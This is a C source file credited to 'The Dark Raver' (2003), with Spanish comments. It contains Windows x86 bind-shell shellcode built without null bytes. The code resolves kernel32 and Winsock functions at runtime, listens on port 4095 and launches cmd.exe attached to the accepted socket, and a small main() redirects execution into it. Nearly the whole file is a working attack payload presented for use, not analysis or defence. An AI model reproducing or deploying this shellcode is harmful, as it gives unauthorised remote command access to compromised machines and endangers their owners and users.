// The Dark Raver // 28/03/2003 // 626 bytes // BINDSHELL + CMD // - Port: 4095 // - Find API offsets // - Without Nulls // - With ExitThread() char hell[]= // ---- Inicializamos ---- "\x55" /* push %ebp */ "\x89\xe5" /* mov %esp,%ebp */ "\x66\x81\xec\x34\x12" /* subw $0x258,%esp */ // ---- Creacion del array de llamadas al API ---- // get_kernel_base: "\x31\xd2" /* xor %edx,%edx */ "\xb2\x30" /* mov $0x30,%dl */ "\x64\x8b\x02" /* mov %fs:(%edx),%eax */ "\x8b\x40\x0c" /* mov 0xc(%eax),%eax */ "\x8b\x70\x1c" /* mov 0x1c(%eax),%esi */ "\xad" /* lods %ds:(%esi),%eax */ "\x8b\x40\x08" /* mov 0x8(%eax),%eax */ // kern_base in eax "\x50" /* push %eax */ // get_getprocaddress: "\x8b\xc8" /* mov %eax,%ecx */ "\x03\x40\x3c" /* add 0x3c(%eax),%eax */ "\x8b\x78\x78" /* mov 0x78(%eax),%edi */ "\x03\xf9" /* add %ecx,%edi */ "\x8b\x77\x20" /* mov 0x20(%edi),%esi */ "\x03\xf1" /* add %ecx,%esi */ "\x33\xd2" /* xor %edx,%edx */ "\x8b\x06" /* mov (%esi),%eax */ "\x03\xc1" /* add %ecx,%eax */ "\x81\x38\x47\x65\x74\x50" /* cmpl $0x50746547,(%eax) */ "\x75\x1e" /* jne +1e */ "\x81\x78\x04\x72\x6f\x63\x41" /* cmpl $0x41636f72,0x4(%eax) */ "\x75\x15" /* jne +15 */ "\x8b\x47\x24" /* mov 0x24(%edi),%eax */ "\x03\xc1" /* add %ecx,%eax */ "\x0f\xb7\x1c\x50" /* movzwl (%eax,%edx,2),%ebx */ "\x8b\x47\x1c" /* mov 0x1c(%edi),%eax */ "\x03\xc1" /* add %ecx,%eax */ "\x8b\x1c\x98" /* mov (%eax,%ebx,4),%ebx */ "\x01\xcb" /* add %ecx,%ebx */ "\xeb\x09" /* jmp +9 */ "\x83\xc6\x04" /* add $0x4,%esi */ "\x42" /* inc %edx */ "\x3b\x57\x18" /* cmp 0x18(%edi),%edx */ "\x75\xcd" /* jne -32 */ // getprocaddress in ebx // kernel_base in edi "\x58" /* pop %eax */ "\x89\xc7" /* mov %eax,%edi */ // push &"CreateProcessA" "\xeb\x02" /* jmp +2 */ "\xeb\x13" /* jmp +(5+14) */ "\xe8\xf9\xff\xff\xff" /* call -7 */ "CreateProcessA" /* command string */ "\x5e" /* popl %esi */ "\x31\xd2" /* xor %edx,%edx */ "\x88\x56\x0e" /* movb %dl,14(%esi) */ "\x56" /* push %esi */ "\x57" /* push %edi */ // CreateProcessA=GetProcAddress(kernel_base. "CreateProcessA") "\xff\xd3" /* call *%ebx */ "\x89\x45\x04" /* mov %eax,0x04(%ebp) */ // push &"ExitThread" "\xeb\x02" /* jmp +2 */ "\xeb\x0f" /* jmp +(5+10) */ "\xe8\xf9\xff\xff\xff" /* call -7 */ "ExitThread" /* command string */ "\x5e" /* popl %esi */ "\x31\xd2" /* xor %edx,%edx */ "\x88\x56\x0a" /* movb %dl,14(%esi) */ "\x56" /* push %esi */ "\x57" /* push %edi */ // ExitThread=GetProcAddress(kernel_base. "ExitThread") "\xff\xd3" /* call *%ebx */ "\x89\x45\x2C" /* mov %eax,0x2C(%ebp) */ // push &"LoadLibraryA" "\xeb\x02" /* jmp +2 */ "\xeb\x11" /* jmp +(5+10) */ "\xe8\xf9\xff\xff\xff" /* call -7 */ "LoadLibraryA" /* command string */ "\x5e" /* popl %esi */ "\x31\xd2" /* xor %edx,%edx */ "\x88\x56\x0c" /* movb %dl,14(%esi) */ "\x56" /* push %esi */ "\x57" /* push %edi */ // LoadLibraryA=GetProcAddress(kernel_base. "LoadLibraryA") "\xff\xd3" /* call *%ebx */ // ws2_32.dll=LoadLibraryA("ws2_32.dll") // push &"ws2_32.dll" "\xeb\x02" /* jmp +2 */ "\xeb\x0f" /* jmp +(5+10) */ "\xe8\xf9\xff\xff\xff" /* call -7 */ "ws2_32.dll" /* command string */ "\x5e" /* popl %esi */ "\x31\xd2" /* xor %edx,%edx */ "\x88\x56\x0a" /* movb %dl,14(%esi) */ "\x56" /* push %esi */ // call LoadLibraryA = 0x1C "\xff\xd0" /* call *%eax */ // push &"WSAStartup" "\xeb\x02" /* jmp +2 */ "\xeb\x0f" /* jmp +(5+10) */ "\xe8\xf9\xff\xff\xff" /* call -7 */ "WSAStartup" /* command string */ "\x5e" /* popl %esi */ "\x31\xd2" /* xor %edx,%edx */ "\x88\x56\x0a" /* movb %dl,14(%esi) */ "\x56" /* push %esi */ "\x50" /* push %eax */ "\x89\xc7" /* mov %eax,%edi */ // WSAStartup=GetProcAddress(ws2_32.dll, "WSAStartup") "\xff\xd3" /* call *%ebx */ "\x89\x45\x08" /* mov %eax,0x08(%ebp) */ // push &"WSASocketA" "\xeb\x02" /* jmp +2 */ "\xeb\x0f" /* jmp +(5+10) */ "\xe8\xf9\xff\xff\xff" /* call -7 */ "WSASocketA" /* command string */ "\x5e" /* popl %esi */ "\x31\xd2" /* xor %edx,%edx */ "\x88\x56\x0a" /* movb %dl,14(%esi) */ "\x56" /* push %esi */ "\x57" /* push %edi */ // WSASocketA=GetProcAddress(ws2_32.dll, "WSASocketA") "\xff\xd3" /* call *%ebx */ "\x89\x45\x0C" /* mov %eax,0xC(%ebp) */ // push &"bind" "\xeb\x02" /* jmp +2 */ "\xeb\x09" /* jmp +(5+10) */ "\xe8\xf9\xff\xff\xff" /* call -7 */ "bind" /* command string */ "\x5e" /* popl %esi */ "\x31\xd2" /* xor %edx,%edx */ "\x88\x56\x04" /* movb %dl,14(%esi) */ "\x56" /* push %esi */ "\x57" /* push %edi */ // bind=GetProcAddress(ws2_32.dll, "bind") "\xff\xd3" /* call *%ebx */ "\x89\x45\x10" /* mov %eax,0x10(%ebp) */ // push &"listen" "\xeb\x02" /* jmp +2 */ "\xeb\x0b" /* jmp +(5+10) */ "\xe8\xf9\xff\xff\xff" /* call -7 */ "listen" /* command string */ "\x5e" /* popl %esi */ "\x31\xd2" /* xor %edx,%edx */ "\x88\x56\x06" /* movb %dl,14(%esi) */ "\x56" /* push %esi */ "\x57" /* push %edi */ // listen=GetProcAddress(ws2_32.dll, "listen") "\xff\xd3" /* call *%ebx */ "\x89\x45\x14" /* mov %eax,0x14(%ebp) */ // push &"accept" "\xeb\x02" /* jmp +2 */ "\xeb\x0b" /* jmp +(5+10) */ "\xe8\xf9\xff\xff\xff" /* call -7 */ "accept" /* command string */ "\x5e" /* popl %esi */ "\x31\xd2" /* xor %edx,%edx */ "\x88\x56\x06" /* movb %dl,14(%esi) */ "\x56" /* push %esi */ "\x57" /* push %edi */ // accept=GetProcAddress(ws2_32.dll, "accept") "\xff\xd3" /* call *%ebx */ "\x89\x45\x18" /* mov %eax,0x18(%ebp) */ // ----------------------------------------- // kernel_base = 0x24(%ebp) // GetProcAddress = 0x20(%ebp) // CreateProcessA = 0x04(%ebp) // ExitThread = 0x2C(%ebp) // LoadLibraryA = 0x1C(%ebp) // ws2_32.dll = 0x28(%ebp) // WSAStartup = 0x08(%ebp) // WSASocketA = 0x0C(%ebp) // bind = 0x10(%ebp) // listen = 0x14(%ebp) // accept = 0x18(%ebp) // ---- socket + bind + listen + accept ---- "\x31\xdb" /* xor %ebx,%ebx */ // x = 16; // &x = 0xffffffe4(%ebp) "\x89\x5d\xe4" /* mov %ebx,0xffffffe4(%ebp) */ "\xc6\x45\xe4\x10" /* movb $0x10,0xffffffe4(%ebp) */ // WSAStartup(257, &info); // &info = 0xfffffe68(%ebp) "\x8d\x85\x68\xfe\xff\xff" /* lea 0xfffffe68(%ebp),%eax */ "\x50" /* push %eax */ "\x31\xd2" /* xor %edx,%edx */ "\x66\xba\x01\x01" /* mov $0x101,%dx */ "\x52" /* push %edx */ // call WSAStartup = 0x08(%ebp) "\x8b\x45\x08" /* mov 0x08(%ebp),%eax */ "\xff\xd0" /* call *%eax */ // hDes=WSASocket(2, 1, 0, 0, 0, 0); "\x53" /* push %ebx */ "\x53" /* push %ebx */ "\x53" /* push %ebx */ "\x53" /* push %ebx */ "\x6a\x01" /* push $0x1 */ "\x6a\x02" /* push $0x2 */ // call WSASocket = 0x0C(%ebp) "\x8b\x45\x0C" /* mov 0x0C(%ebp),%eax */ "\xff\xd0" /* call *%eax */ // &hDes=0xfffffe60(%ebp) "\x89\x85\x60\xfe\xff\xff" /* mov %eax,0xfffffe60(%ebp) */ // serv_addr.sin_family = 2; // &serv_addr = 0xfffffde8(%ebp) "\x31\xd2" /* xor %edx,%edx */ "\xb2\x02" /* mov $0x2,%dl */ "\x66\x89\x95\xe8\xfd\xff\xff" /* mov %dx,0xfffffde8(%ebp) */ // serv_addr.sin_port = 65295; "\x66\xc7\x85\xea\xfd\xff\xff\x0f\xff" /* movw $0xff0f,0xfffffdea(%ebp) */ // serv_addr.sin_addr.s_addr = 0; "\x89\x9d\xec\xfd\xff\xff" /* mov %ebx,0xfffffdec(%ebp) */ // hSock = bind(hDes, (struct sockaddr *)&serv_addr, 16); "\x6a\x10" /* push $0x10 */ "\x8d\x85\xe8\xfd\xff\xff" /* lea 0xfffffde8(%ebp),%eax */ "\x50" /* push %eax */ "\x8b\x85\x60\xfe\xff\xff" /* mov 0xfffffe60(%ebp),%eax */ "\x50" /* push %eax */ // call bind = 0x10(%ebp) "\x8b\x45\x10" /* mov 0x10(%ebp),%eax */ "\xff\xd0" /* call *%eax */ // hSock = listen(hDes, 5); "\x6a\x05" /* push $0x5 */ "\x8b\x85\x60\xfe\xff\xff" /* mov 0xfffffe60(%ebp),%eax */ "\x50" /* push %eax */ // call listen = 0x14(%ebp) "\x8b\x45\x14" /* mov 0x14(%ebp),%eax */ "\xff\xd0" /* call *%eax */ // hSock = accept(hDes, (struct sockaddr *)&serv_addr, &x); "\x8d\x45\xe4" /* lea 0xffffffe4(%ebp),%eax */ "\x50" /* push %eax */ "\x8d\x85\xe8\xfd\xff\xff" /* lea 0xfffffde8(%ebp),%eax */ "\x50" /* push %eax */ "\x8b\x85\x60\xfe\xff\xff" /* mov 0xfffffe60(%ebp),%eax */ "\x50" /* push %eax */ // call accept = 0x18(%ebp) "\x8b\x45\x18" /* mov 0x18(%ebp),%eax */ "\xff\xd0" /* call *%eax */ // &hSock=0xfffffe64(%ebp) "\x89\x85\x64\xfe\xff\xff" /* mov %eax,0xfffffe64(%ebp) */ // ---- Lanzamiento de cmd.exe ---- // memset(&piProcInfo, 0, 16); // &piProcInfo=0xfffffe48(%ebp) "\x8d\xbd\x48\xfe\xff\xff" /* lea 0xfffffe48(%ebp),%edi */ "\x88\xd8" /* mov %bl,%al */ "\x31\xc9" /* xor %ecx,%ecx */ "\xb1\x16" /* mov $0x16,%cl */ "\xf3\xaa" /* repz stos */ // memset(&siStartInfo, 0, 68); // &siStartInfo= 0xfffffdf8(%ebp) "\x8d\xbd\xf8\xfd\xff\xff" /* lea 0xfffffdf8(%ebp),%edi */ "\x88\xd8" /* mov %bl,%al */ "\x31\xc9" /* xor %ecx,%ecx */ "\xb1\x68" /* mov $0x68,%cl */ "\xf3\xaa" /* repz stos */ //siStartInfo.dwFlags = 256 | 1; //siStartInfo.wShowWindow = 0; //siStartInfo.hStdOutput = hSock; //siStartInfo.hStdError = hSock; //siStartInfo.hStdInput = hSock; "\x66\xc7\x85\x24\xfe\xff\xff\x01\x01" /* movw $0x101,0xfffffe24(%ebp) */ "\x66\x89\x9d\x28\xfe\xff\xff" /* mov %bx,0xfffffe28(%ebp) */ "\x8b\x85\x64\xfe\xff\xff" /* mov 0xfffffe64(%ebp),%eax */ "\x89\x85\x34\xfe\xff\xff" /* mov %eax,0xfffffe34(%ebp) */ "\x89\x85\x38\xfe\xff\xff" /* mov %eax,0xfffffe38(%ebp) */ "\x89\x85\x30\xfe\xff\xff" /* mov %eax,0xfffffe30(%ebp) */ // CreateProcess(0, "cmd.exe", 0, 0, 1, 0, 0, 0, &siStartInfo, &piProcInfo); "\x8d\x85\x48\xfe\xff\xff" /* lea 0xfffffe48(%ebp),%eax */ "\x50" /* push %eax */ "\x8d\x85\xf8\xfd\xff\xff" /* lea 0xfffffdf8(%ebp),%eax */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x53" /* push %ebx */ "\x53" /* push %ebx */ "\x6a\x01" /* push $0x1 */ "\x53" /* push %ebx */ "\x53" /* push %ebx */ // push &cmd.exe "\xeb\x02" /* jmp +2 */ "\xeb\x0d" /* jmp +13 */ "\xe8\xf9\xff\xff\xff" /* call -7 */ "cmd.exe\x20" /* command string */ "\x53" /* push %ebx */ // call CreateProcessA = 0x04(%ebp) "\x8b\x45\x04" /* mov 0x04(%ebp),%eax */ "\xff\xd0" /* call *%eax */ // call ExitThread = 0x2C(%ebp) "\x8b\x45\x2c" /* mov 0x2C(%ebp),%eax */ "\xff\xd0" /* call *%eax */ ""; // TDR int main() { int *ret; printf("%d\n",strlen(hell)); ret = (int *)&ret + 2; (*ret) = (int)hell; }